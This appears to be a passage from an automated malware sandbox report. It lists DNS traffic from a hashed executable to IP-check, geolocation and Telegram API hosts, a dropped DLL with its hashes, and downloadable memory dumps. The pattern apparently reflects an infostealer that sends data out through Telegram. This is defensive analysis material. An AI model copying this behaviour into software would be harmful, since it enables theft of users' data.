     171 B
     1
    1

    DNS Request

    225.212.58.216.in-addr.arpa

  • 8.8.8.8:53
    checkip.dyndns.org
    dns
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    64 B
     176 B
     1
    1

    DNS Request

    checkip.dyndns.org

    DNS Response

    193.122.6.168
    158.101.44.242
    132.226.8.169
    132.226.247.73
    193.122.130.0

  • 8.8.8.8:53
    reallyfreegeoip.org
    dns
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    65 B
     177 B
     1
    1

    DNS Request

    reallyfreegeoip.org

    DNS Response

    104.21.80.1
    104.21.32.1
    104.21.112.1
    104.21.96.1
    104.21.48.1
    104.21.16.1
    104.21.64.1

  • 8.8.8.8:53
    168.6.122.193.in-addr.arpa
    dns
    72 B
     146 B
     1
    1

    DNS Request

    168.6.122.193.in-addr.arpa

  • 8.8.8.8:53
    1.80.21.104.in-addr.arpa
    dns
    70 B
     132 B
     1
    1

    DNS Request

    1.80.21.104.in-addr.arpa

  • 8.8.8.8:53
    13.86.106.20.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    13.86.106.20.in-addr.arpa

  • 8.8.8.8:53
    api.telegram.org
    dns
    ad084a1c285369520a48712abaef5ebb566572f32e345d7e2356ada3fea0473f.exe
    62 B
     78 B
     1
    1

    DNS Request

    api.telegram.org

    DNS Response

    149.154.167.220

  • 8.8.8.8:53
    220.167.154.149.in-addr.arpa
    dns
    74 B
     167 B
     1
    1

    DNS Request

    220.167.154.149.in-addr.arpa

  • 8.8.8.8:53
    50.23.12.20.in-addr.arpa
    dns
    70 B
     156 B
     1
    1

    DNS Request

    50.23.12.20.in-addr.arpa

  • 8.8.8.8:53
    241.42.69.40.in-addr.arpa
    dns
    71 B
     145 B
     1
    1

    DNS Request

    241.42.69.40.in-addr.arpa

  • 8.8.8.8:53
    21.236.111.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    21.236.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\nsw9701.tmp\System.dll
    Filesize

    11KB

    MD5

    ee260c45e97b62a5e42f17460d406068

    SHA1

    df35f6300a03c4d3d3bd69752574426296b78695

    SHA256

    e94a1f7bcd7e0d532b660d0af468eb3321536c3efdca265e61f9ec174b1aef27

    SHA512

    a98f350d17c9057f33e5847462a87d59cbf2aaeda7f6299b0d49bb455e484ce4660c12d2eb8c4a0d21df523e729222bbd6c820bf25b081bc7478152515b414b3

    Download Submit

  • memory/1380-37-0x0000000037440000-0x00000000374D2000-memory.dmp

    Filesize

    584KB

    Download

  • memory/1380-36-0x0000000036FB0000-0x000000003704C000-memory.dmp

    Filesize

    624KB

    Download

  • memory/1380-40-0x00000000378D0000-0x00000000378DA000-memory.dmp

    Filesize

    40KB

    Download

  • memory/1380-39-0x0000000037650000-0x0000000037812000-memory.dmp

    Filesize

    1.8MB

    Download

  • memory/1380-18-0x00000000016C0000-0x0000000003D6A000-memory.dmp

    Filesize

    38.7MB

    Download

  • memory/1380-31-0x0000000000460000-0x00000000016B4000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/1380-38-0x00000000374E0000-0x0000000037530000-memory.dmp

    Filesize

    320KB

    Download

  • memory/1380-34-0x0000000000460000-0x000000000047E000-memory.dmp

    Filesize

    120KB

    Download

  • memory/1380-32-0x0000000000460000-0x00000000016B4000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/1380-35-0x0000000036A00000-0x0000000036FA4000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/1380-33-0x00000000016C0000-0x0000000003D6A000-memory.dmp

    Filesize

    38.7MB

    Download

  • memory/2376-14-0x0000000002A60000-0x000000000510A000-memory.dmp

    Filesize

    38.7MB

    Download

  • memory/2376-15-0x0000000077751000-0x0000000077871000-memory.dmp

    Filesize

    1.1MB

    Download

  • memory/2376-17-0x0000000002A60000-0x000000000510A000-memory.dmp

    Filesize

    38.7MB

    Download

  • memory/2376-16-0x0000000010004000-0x0000000010005000-memory.dmp

    Filesize

    4KB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.